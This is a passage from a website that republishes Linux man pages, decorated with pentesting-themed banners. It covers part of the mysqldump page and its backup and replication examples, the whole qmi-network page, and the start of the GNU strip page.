Use of –compact is the same as specifying –skip-add-drop-table, –skip-add-locks, –skip-comments, –skip-disable-keys, and –skip-set-charset options.

To reverse the effect of a group option, uses its –skip-xxx form (–skip-opt or –skip-compact). It is also possible to select only part of the effect of a group option by following it with options that enable or disable specific features. Here are some examples:

·

To select the effect of –opt except for some features, use the –skip option for each feature. To disable extended inserts and memory buffering, use –opt –skip-extended-insert –skip-quick. (Actually, –skip-extended-insert –skip-quick is sufficient because –opt is on by default.)

·

To reverse –opt for all features except index disabling and table locking, use –skip-opt –disable-keys –lock-tables.

When you selectively enable or disable the effect of a group option, order is important because options are processed first to last. For example, –disable-keys –lock-tables –skip-opt would not have the intended effect; it is the same as –skip-opt by itself.

mysqldump can retrieve and dump table contents row by row, or it can retrieve the entire content from a table and buffer it in memory before dumping it. Buffering in memory can be a problem if you are dumping large tables. To dump tables row by row, use the –quick option (or –opt, which enables –quick). The –opt option (and hence –quick) is enabled by default, so to enable memory buffering, use –skip-quick.

If you are using a recent version of mysqldump to generate a dump to be reloaded into a very old MySQL server, you should not use the –opt or –extended-insert option. Use –skip-opt instead.

mysqldump supports the following options, which can be specified on the command line or in the [mysqldump] and [client] option file groups. mysqldump also supports the options for processing option file.

·

–help, -?

Display a help message and exit.

·

–add-drop-database

Add a DROP DATABASE statement before each CREATE DATABASE statement. This option is typically used in conjunction with the –all-databases or –databases option because no CREATE DATABASE statements are written unless one of those options is specified.

·

–add-drop-table

Add a DROP TABLE statement before each CREATE TABLE statement.

·

–add-drop-trigger

Add a DROP TRIGGER statement before each CREATE TRIGGER statement.

·

–add-locks

Surround each table dump with LOCK TABLES and UNLOCK TABLES statements. This results in faster inserts when the dump file is reloaded.

·

–all-databases, -A

Dump all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-tablespaces, -Y

Adds to a table dump all SQL statements needed to create any tablespaces used by an NDBCLUSTER table. This information is not otherwise included in the output from mysqldump. This option is currently relevant only to MySQL Cluster tables.

·

–allow-keywords

Allow creation of column names that are keywords. This works by prefixing each column name with the table name.

·

–apply-slave-statements

Adds ‘STOP SLAVE’ prior to ‘CHANGE MASTER’ and ‘START SLAVE’ to bottom of dump.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–comments, -i

Write additional information in the dump file such as program version, server version, and host. This option is enabled by default. To suppress this additional information, use –skip-comments.

·

–compact

Produce more compact output. This option enables the –skip-add-drop-table, –skip-add-locks, –skip-comments, –skip-disable-keys, and –skip-set-charset options.

·

**–compatible=**name

Produce output that is more compatible with other database systems or with older MySQL servers. The value of name can be ansi, mysql323, mysql40, postgresql, oracle, mssql, db2, maxdb, no_key_options, no_table_options, or no_field_options. To use several values, separate them by commas. These values have the same meaning as the corresponding options for setting the server SQL mode.

This option does not guarantee compatibility with other servers. It only enables those SQL mode values that are currently available for making dump output more compatible. For example, –compatible=oracle does not map data types to Oracle types or use Oracle comment syntax.

·

–complete-insert, -c

Use complete INSERT statements that include column names.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

–copy-s3-tables

By default S3 tables are ignored. With this option set, the result file will contain a CREATE statement for a similar Aria table, followed by the table data and ending with an ALTER TABLE xxx ENGINE=S3.

·

–create-options, -a

Include all MariaDB-specific table options in the CREATE TABLE statements. Use –skip-create-options to disable.

·

–databases, -B

Dump several databases. Normally, mysqldump treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names. CREATE DATABASE and USE statements are included in the output before each new database.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default value is ’d:t:o,/tmp/mysqldump.trace’.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

–default-auth

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set. If no character set is specified, mysqldump uses utf8.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**str,

Also read groups with a suffix of str. For example, since mysqldump normally reads the [client] and [mysqldump] groups, –defaults-group-suffix=x would cause it to also read the groups [mysqldump_x] and [client_x].

·

–delayed-insert

Write INSERT DELAYED statements rather than INSERT statements.

·

–delete-master-logs

On a master replication server, delete the binary logs by sending a PURGE BINARY LOGS statement to the server after performing the dump operation. This option automatically enables –master-data.

·

–disable-keys, -K

For each table, surround the INSERT statements with /*!40000 ALTER TABLE tbl_name DISABLE KEYS */; and /*!40000 ALTER TABLE tbl_name ENABLE KEYS */; statements. This makes loading the dump file faster because the indexes are created after all rows are inserted. This option is effective only for nonunique indexes of MyISAM tables.

·

–dump-date

If the –comments option is given, mysqldump produces a comment at the end of the dump of the following form:

– Dump completed on DATE

However, the date causes dump files taken at different times to appear to be different, even if the data are otherwise identical. –dump-date and –skip-dump-date control whether the date is added to the comment. The default is –dump-date (include the date in the comment). –skip-dump-date suppresses date printing

·

–dump-slave[=value]

Used for producing a dump file from a replication slave server that can be used to set up another slave server with the same master. Causes the binary log position and filename of the master to be appended to the dumped data output. Setting the value to 1 (the default) will print it as a CHANGE MASTER command in the dumped data output; if set to 2, that command will be prefixed with a comment symbol. This option will turn –lock-all-tables on, unless –single-transaction is specified too (in which case a global read lock is only taken a short time at the beginning of the dump - don’t forget to read about –single-transaction below). In all cases any action on logs will happen at the exact moment of the dump. Option automatically turns –lock-tables off. Using this option causes mysqldump to stop the slave SQL thread before beginning the dump, and restart it again after completion.

·

–events, -E

Include Event Scheduler events for the dumped databases in the output.

·

–extended-insert, -e

Use multiple-row INSERT syntax that include several VALUES lists. This results in a smaller dump file and speeds up inserts when the file is reloaded.

·

–fields-terminated-by=…, –fields-enclosed-by=…, –fields-optionally-enclosed-by=…, –fields-escaped-by=…

These options are used with the –tab option and have the same meaning as the corresponding FIELDS clauses for LOAD DATA INFILE.

·

–first-slave

Removed in MariaDB 5.5. Use –lock-all-tables instead.

·

–flashback, -B

Support flashback mode.

·

–flush-logs, -F

Flush the MariaDB server log files before starting the dump. This option requires the RELOAD privilege. If you use this option in combination with the –all-databases option, the logs are flushed for each database dumped. The exception is when using –lock-all-tables or –master-data: In this case, the logs are flushed only once, corresponding to the moment that all tables are locked. If you want your dump and the log flush to happen at exactly the same moment, you should use –flush-logs together with either –lock-all-tables or –master-data.

·

–flush-privileges

Send a FLUSH PRIVILEGES statement to the server after dumping the mysql database. This option should be used any time the dump contains the mysql database and any other database that depends on the data in the mysql database for proper restoration.

·

–force, -f

Continue even if an SQL error occurs during a table dump.

One use for this option is to cause mysqldump to continue executing even when it encounters a view that has become invalid because the definition refers to a table that has been dropped. Without –force, mysqldump exits with an error message. With –force, mysqldump prints the error message, but it also writes an SQL comment containing the view definition to the dump output and continues executing.

·

–gtid

Available from MariaDB 10.0.13, and is used together with –master-data and –dump-slave to more conveniently set up a new GTID slave. It causes those options to output SQL statements that configure the slave to use the global transaction ID to connect to the master instead of old-style filename/offset positions. The old-style positions are still included in comments when –gtid is used; likewise the GTID position is included in comments even if –gtid is not used.

·

–header

Used together with –tab. When enabled, adds header with column names to the top of output txt files.

·

–hex-blob

Dump binary columns using hexadecimal notation (for example, ‘abc’ becomes 0x616263). The affected data types are BINARY, VARBINARY, the BLOB types, and BIT.

·

**–host=**host_name, -h host_name

Dump data from the MariaDB server on the given host. The default host is localhost.

·

**–ignore-table=**db_name.tbl_name

Do not dump the given table, which must be specified using both the database and table names. To ignore multiple tables, use this option multiple times. This option also can be used to ignore views.

·

–include-master-host-port

Add the MASTER_HOST and MASTER_PORT options for the CHANGE MASTER TO statement when using the –dump-slave option for a slave dump.

·

–insert-ignore

Write INSERT IGNORE statements rather than INSERT statements.

·

–lines-terminated-by=…

This option is used with the –tab option and has the same meaning as the corresponding LINES clause for LOAD DATA INFILE.

·

–lock-all-tables, -x

Lock all tables across all databases. This is achieved by acquiring a global read lock for the duration of the whole dump. This option automatically turns off –single-transaction and –lock-tables.

·

–lock-tables, -l

For each dumped database, lock all tables to be dumped before dumping them. The tables are locked with READ LOCAL to allow concurrent inserts in the case of MyISAM tables. For transactional tables such as InnoDB, –single-transaction is a much better option than –lock-tables because it does not need to lock the tables at all.

Because –lock-tables locks tables for each database separately, this option does not guarantee that the tables in the dump file are logically consistent between databases. Tables in different databases may be dumped in completely different states.

Use –skip-lock-tables to disable.

·

**–log-error=**file_name

Log warnings and errors by appending them to the named file. The default is to do no logging.

·

–log-queries

When restoring the dump, the server will, if logging is turned on, log the queries to the general and slow query log. Defaults to on; use –skip-log-queries to disable.

·

–master-data[=value]

Use this option to dump a master replication server to produce a dump file that can be used to set up another server as a slave of the master. It causes the dump output to include a CHANGE MASTER TO statement that indicates the binary log coordinates (file name and position) of the dumped server. These are the master server coordinates from which the slave should start replicating after you load the dump file into the slave.

If the option value is 2, the CHANGE MASTER TO statement is written as an SQL comment, and thus is informative only; it has no effect when the dump file is reloaded. If the option value is 1, the statement is not written as a comment and takes effect when the dump file is reloaded. If no option value is specified, the default value is 1.

This option requires the RELOAD privilege and the binary log must be enabled.

The –master-data option automatically turns off –lock-tables. It also turns on –lock-all-tables, unless –single-transaction also is specified. In all cases, any action on logs happens at the exact moment of the dump.

It is also possible to set up a slave by dumping an existing slave of the master. To do this, use the following procedure on the existing slave:

1.

Stop the slave’s SQL thread and get its current status:

mysql> STOP SLAVE SQL_THREAD; mysql> SHOW SLAVE STATUS;

2.

From the output of the SHOW SLAVE STATUS statement, the binary log coordinates of the master server from which the new slave should start replicating are the values of the Relay_Master_Log_File and Exec_Master_Log_Pos fields. Denote those values as file_name and file_pos.

3.

Dump the slave server:

shell> mysqldump –master-data=2 –all-databases > dumpfile

4.

Restart the slave:

mysql> START SLAVE;

5.

On the new slave, load the dump file:

shell> mysql < dumpfile

6.

On the new slave, set the replication coordinates to those of the master server obtained earlier:

mysql> CHANGE MASTER TO -> MASTER_LOG_FILE = ‘file_name’, MASTER_LOG_POS = file_pos;

The CHANGE MASTER TO statement might also need other parameters, such as MASTER_HOST to point the slave to the correct master server host. Add any such parameters as necessary.

·

**–max-allowed-packet=**length

Sets the maximum packet length to send to or receive from server.

·

**–max-statement-time=**seconds

Sets the maximum time any statement can run before being timed out by the server. (Default value is 0 (no limit))

·

**–net-buffer-length=**length

Sets the buffer size for TCP/IP and socket communication.

·

–no-autocommit

Enclose the INSERT statements for each dumped table within SET autocommit = 0 and COMMIT statements.

·

–no-create-db, -n

This option suppresses the CREATE DATABASE statements that are otherwise included in the output if the –databases or –all-databases option is given.

·

–no-create-info, -t

Do not write CREATE TABLE statements that re-create each dumped table.

·

–no-data, -d

Do not write any table row information (that is, do not dump table contents). This is useful if you want to dump only the CREATE TABLE statement for the table (for example, to create an empty copy of the table by loading the dump file).

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–no-set-names, -N

This has the same effect as –skip-set-charset.

·

–opt

This option is shorthand. It is the same as specifying –add-drop-table –add-locks –create-options –disable-keys –extended-insert –lock-tables –quick –set-charset. It should give you a fast dump operation and produce a dump file that can be reloaded into a MariaDB server quickly.

The –opt option is enabled by default. Use –skip-opt to disable it. See the discussion at the beginning of this section for information about selectively enabling or disabling a subset of the options affected by –opt.

·

–order-by-primary

Dump each table’s rows sorted by its primary key, or by its first unique index, if such an index exists. This is useful when dumping a MyISAM table to be loaded into an InnoDB table, but will make the dump operation take considerably longer.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqldump prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

–plugin-dir

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

This option is useful for dumping large tables. It forces mysqldump to retrieve rows for a table from the server a row at a time rather than retrieving the entire row set and buffering it in memory before writing it out.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–quote-names, -Q

Quote identifiers (such as database, table, and column names) within “`” characters. If the ANSI_QUOTES SQL mode is enabled, identifiers are quoted within “"” characters. This option is enabled by default. It can be disabled with –skip-quote-names, but this option should be given after any option such as –compatible that may enable –quote-names.

·

–replace

Write REPLACE statements rather than INSERT statements.

·

**–result-file=**file_name, -r file_name

Direct output to a given file. This option should be used on Windows to prevent newline “ ” characters from being converted to “ ” carriage return/newline sequences. The result file is created and its previous contents overwritten, even if an error occurs while generating the dump.

·

–routines, -R

Included stored routines (procedures and functions) for the dumped databases in the output. Use of this option requires the SELECT privilege for the mysql.proc table. The output generated by using –routines contains CREATE PROCEDURE and CREATE FUNCTION statements to re-create the routines. However, these statements do not include attributes such as the routine creation and modification timestamps. This means that when the routines are reloaded, they will be created with the timestamps equal to the reload time.

If you require routines to be re-created with their original timestamp attributes, do not use –routines. Instead, dump and reload the contents of the mysql.proc table directly, using a MariaDB account that has appropriate privileges for the mysql database.

·

–set-charset

Add SET NAMES default_character_set to the output. This option is enabled by default. To suppress the SET NAMES statement, use –skip-set-charset.

·

–single-transaction

This option sends a START TRANSACTION SQL statement to the server before dumping data. It is useful only with transactional tables such as InnoDB, because then it dumps the consistent state of the database at the time when BEGIN was issued without blocking any applications.

When using this option, you should keep in mind that only InnoDB tables are dumped in a consistent state. For example, any MyISAM or MEMORY tables dumped while using this option may still change state.

While a –single-transaction dump is in process, to ensure a valid dump file (correct table contents and binary log coordinates), no other connection should use the following statements: ALTER TABLE, CREATE TABLE, DROP TABLE, RENAME TABLE, TRUNCATE TABLE. A consistent read is not isolated from those statements, so use of them on a table to be dumped can cause the SELECT that is performed by mysqldump to retrieve the table contents to obtain incorrect contents or fail.

The –single-transaction option and the –lock-tables option are mutually exclusive because LOCK TABLES causes any pending transactions to be committed implicitly.

To dump large tables, you should combine the –single-transaction option with –quick.

·

–skip-add-drop-table

Disable the –add-drop-table option.

·

–skip-add-locks

Disable the –add-locks option.

·

–skip-comments

Disable the –comments option.

·

–skip-compact

Disable the –compact option.

·

–skip-disable-keys

Disable the –disable-keys option.

·

–skip-extended-insert

Disable the –extended-insert option.

·

–skip-opt

Disable the –opt option.

·

–skip-quick

Disable the –quick option.

·

–skip-quote-names

Disable the –quote-names option.

·

–skip-set-charset

Disable the –set-charset option.

·

–skip-triggers

Disable the –triggers option.

·

–skip-tz-utc

Disable the –tz-utc option.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–system={all, users, plugins, udfs, servers, stats, timezones}

Dump the system tables in the mysql database in a logical form. This option is an empty set by default.

One or more options can be listed in comma separated list.

The options here are:

·

all - an alias to enabling all of the below options.

·

users - the users, roles and their grants outputed as CREATE USER, CREATE ROLE, GRANT, and SET DEFAULT ROLE (ALTER USER for MySQL-8.0+).

·

plugins - active plugins of the server outputed as INSTALL PLUGIN.

·

udfs - user define functions outputed as CREATE FUNCTION.

·

servers - remote (federated) servers as CREATE SERVER.

·

stats - statistics tables, InnoDB and Engine Independent Table Statistics (EITS), are dumped as REPLACE INTO (or INSERT IGNORE if –insert-ignore is specified) statements without (re)creating tables.

·

timezones - timezone related system tables dumped as REPLACE INTO (or INSERT IGNORE if –insert-ignore is specified) statements without (re)creating tables.

The format of the output is affected by –replace and –insert-ignore. The –replace option will output CREATE OR REPLACE forms of SQL, and also DROP IF EXISTS prior to CREATE, if a CREATE OR REPLACE option isn’t available.

With –system=user (or all), and –replace, SQL is generated to generate an error if attempting to import the dump with a connection user that is being replaced within the dump.

The –insert-ignore option will cause CREATE IF NOT EXIST forms of SQL to generated if available.

For stats, and timezones, –replace and –insert-ignore have the usual effects.

Enabling specific options here will cause the relevant tables in the mysql database to be ignored when dumping the mysql database or –all-databases.

To help in migrating from MySQL to MariaDB, this option is designed to be able to dump system information from MySQL-5.7 and 8.0 servers. SQL generated is also experimentally compatible with MySQL-5.7/8.0. Mappings of implementation specific grants/plugins isn’t always one-to-one however between MariaDB and MySQL and will require manual changes.

·

**–tab=**path, -T path

Produce tab-separated text-format data files. For each dumped table, mysqldump creates a tbl_name.sql file that contains the CREATE TABLE statement that creates the table, and the server writes a tbl_name.txt file that contains its data. The option value is the directory in which to write the files.

Note

This option should be used only when mysqldump is run on the same machine as the mysqld server. You must have the FILE privilege, and the server must have permission to write files in the directory that you specify.

By default, the .txt data files are formatted using tab characters between column values and a newline at the end of each line. The format can be specified explicitly using the **–fields-**xxx and –lines-terminated-by options.

Column values are converted to the character set specified by the –default-character-set option.

·

–tables

Override the –databases or -B option. mysqldump regards all name arguments following the option as table names.

·

–triggers

Include triggers for each dumped table in the output. This option is enabled by default; disable it with –skip-triggers.

·

–tz-utc

This option enables TIMESTAMP columns to be dumped and reloaded between servers in different time zones. mysqldump sets its connection time zone to UTC and adds SET TIME_ZONE=’+00:00’ to the dump file. Without this option, TIMESTAMP columns are dumped and reloaded in the time zones local to the source and destination servers, which can cause the values to change if the servers are in different time zones. –tz-utc also protects against changes due to daylight saving time. –tz-utc is enabled by default. To disable it, use –skip-tz-utc.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

·

–where=’where_condition, -w ‘where_condition

Dump only rows selected by the given WHERE condition. Quotes around the condition are mandatory if it contains spaces or other characters that are special to your command interpreter.

Examples:

–where=“user=‘jimf’” -w"userid>1" -w"userid<1"

·

–xml, -X

Write dump output as well-formed XML.

NULL, ‘NULL’, and Empty Values: For a column named column_name, the NULL value, an empty string, and the string value ‘NULL’ are distinguished from one another in the output generated by this option as follows.

Value:XML Representation:
NULL (unknown value)<field name="column_name" xsi:nil="true" />
'' (empty string)<field name="column_name"></field>
'NULL' (string value)<field name="column_name">NULL</field>

The output from the mysql client when run using the –xml option also follows the preceding rules. (See the section called “MYSQL OPTIONS”.)

XML output from mysqldump includes the XML namespace, as shown here:

shell> mysqldump –xml -u root world City <table_structure name=“City”> </table_structure> <table_data name=“City”> 1 Kabul AFG Kabol 1780000 4079 Rafah PSE Rafah 92020 </table_data>

You can also set the following variables by using **–var_name=**value syntax:

·

max_allowed_packet

The maximum size of the buffer for client/server communication. The maximum is 1GB.

·

max_statement_time

A query that has taken more than max_statement_time seconds will be aborted and the backup will fail. The argument will be treated as a decimal value with microsecond precision. A value of 0 (default) means no timeout. The maximum timeout is 31536000 seconds.

·

net_buffer_length

The initial size of the buffer for client/server communication. When creating multiple-row INSERT statements (as with the –extended-insert or –opt option), mysqldump creates rows up to net_buffer_length length. If you increase this variable, you should also ensure that the net_buffer_length variable in the MariaDB server is at least this large.

A common use of mysqldump is for making a backup of an entire database:

shell> mysqldump db_name > backup-file.sql

You can load the dump file back into the server like this:

shell> mysql db_name < backup-file.sql

Or like this:

shell> mysql -e “source /path-to-backup/backup-file.sql” db_name

mysqldump is also very useful for populating databases by copying data from one MariaDB server to another:

shell> mysqldump –opt db_name | mysql –host=remote_host -C db_name

It is possible to dump several databases with one command:

shell> mysqldump –databases db_name1 [db_name2 …] > my_databases.sql

To dump all databases, use the –all-databases option:

shell> mysqldump –all-databases > all_databases.sql

For InnoDB tables, mysqldump provides a way of making an online backup:

shell> mysqldump –all-databases –single-transaction > all_databases.sql

This backup acquires a global read lock on all tables (using FLUSH TABLES WITH READ LOCK) at the beginning of the dump. As soon as this lock has been acquired, the binary log coordinates are read and the lock is released. If long updating statements are running when the FLUSH statement is issued, the MariaDB server may get stalled until those statements finish. After that, the dump becomes lock free and does not disturb reads and writes on the tables. If the update statements that the MariaDB server receives are short (in terms of execution time), the initial lock period should not be noticeable, even with many updates.

For point-in-time recovery (also known as “roll-forward,” when you need to restore an old backup and replay the changes that happened since that backup), it is often useful to rotate the binary log or at least know the binary log coordinates to which the dump corresponds:

shell> mysqldump –all-databases –master-data=2 > all_databases.sql

Or:

shell> mysqldump –all-databases –flush-logs –master-data=2 > all_databases.sql

The –master-data and –single-transaction options can be used simultaneously, which provides a convenient way to make an online backup suitable for use prior to point-in-time recovery if tables are stored using the InnoDB storage engine.

If you encounter problems backing up views, please read the section that covers restrictions on views which describes a workaround for backing up views when this fails due to insufficient privileges.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

253 - Linux cli command qmi-network

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qmi-network and provides detailed information about the command qmi-network, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qmi-network.

NAME 🖥️ qmi-network 🖥️

network - Simple network management of QMI devices

SYNOPSIS

qmi-network [OPTIONS] [DEVICE] [COMMAND]

DESCRIPTION

Simple network management of QMI devices

Commands:

start
Start network connection

stop
Stop network connection

status
Query network connection status

OPTIONS

–profile=[PATH]
Use the profile in the specified path

–help
Show help options

–version
Show version

Notes:

1) [DEVICE] is given as the full path to the cdc-wdm character device, e.g.:

/dev/cdc-wdm0

2) The qmi-network script requires a profile to work. Unless explicitly specified with `–profile’, the file is assumed to be available in the following path:

/etc/qmi-network.conf

3) The APN to use should be configured in the profile, in the following way (e.g. assuming APN is called ‘internet’):

APN=internet

4) Optional APN user/password strings may be given in the following way:

APN_USER=user APN_PASS=password

5) Optional IP_TYPE strings may be given in the following way:

IP_TYPE=[4|6]

6) If you want to instruct the qmi-network script to use the qmi-proxy setup, you can do so by configuring the following line in the profile:

PROXY=yes

7) To instruct the qmi-network script to use an already existing Profile ID, or to create a new one on the fly, use the following configuration in the profile:

PROFILE=number
# to use the profile-id number

PROFILE=auto
# to create a temporary profile on the fly

8) Once the qmi-network script reports a successful connection you still need to run a DHCP client on the associated WWAN network interface.

COPYRIGHT

Copyright © 2013-2021 Aleksander Morgado License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl-2.0.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for qmi-network is maintained as a Texinfo manual. If the info and qmi-network programs are properly installed at your site, the command

info qmi-network

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

254 - Linux cli command x86_64-linux-gnu-strip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-strip and provides detailed information about the command x86_64-linux-gnu-strip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-strip.

NAME 🖥️ x86_64-linux-gnu-strip 🖥️

discard symbols and other data from object files

SYNOPSIS

strip [-F bfdname |–target=bfdname] [-I bfdname |–input-target=bfdname] [-O bfdname |–output-target=bfdname] [-s|–strip-all] [-S|-g|-d|–strip-debug] [–strip-dwo] [-K symbolname|–keep-symbol=symbolname] [-M|–merge-notes][–no-merge-notes] [-N symbolname |–strip-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X |–discard-locals] [-R sectionname |–remove-section=sectionname] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-o file] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–keep-section-symbols] [–keep-file-symbols] [–only-keep-debug] [-v |–verbose] [-V|–version] [–help] [–info] objfile

DESCRIPTION

GNU strip discards all symbols from object files objfile. The list of object files may include archives. At least one object file must be given.

strip modifies the files named in its argument, rather than writing modified copies under different names.

OPTIONS

-F bfdname

–target=bfdname

Treat the original objfile as a file with the object code format bfdname, and rewrite it in the same format.

–help
Show a summary of the options to strip and exit.

–info
Display a list showing all architectures and object formats available.

-I bfdname

–input-target=bfdname

Treat the original objfile as a file with the object code format bfdname.

-O bfdname

–output-target=bfdname

Replace objfile with a file in the output format bfdname.

-R sectionname

–remove-section=sectionname

Remove any section named sectionname from the output file, in addition to whatever sections would otherwise be removed. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. The wildcard character * may be given at the end of sectionname. If so, then any section starting with sectionname will be removed. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the patter ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section headers. This option is specific to ELF files. Implies –strip-all and –merge-notes.

-s

–strip-all

Remove all symbols.

-g

-S

-d

–strip-debug

Remove debugging symbols only.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. See the description of this option in the objcopy section for more information.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-M

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes. The default is to attempt this reduction unless stripping debug or DWO information.

-N symbolname

–strip-symbol=symbolname

Remove symbol symbolname from the source file. This option may be given more than once, and may be combined with strip options other than -K.

-o file
Put the stripped output in file, rather than replacing the existing file. When this argument is used, only one objfile argument may be specified.

-p

–preserve-dates

Preserve the access and modification dates of the file.

-D

–enable-deterministic-archives

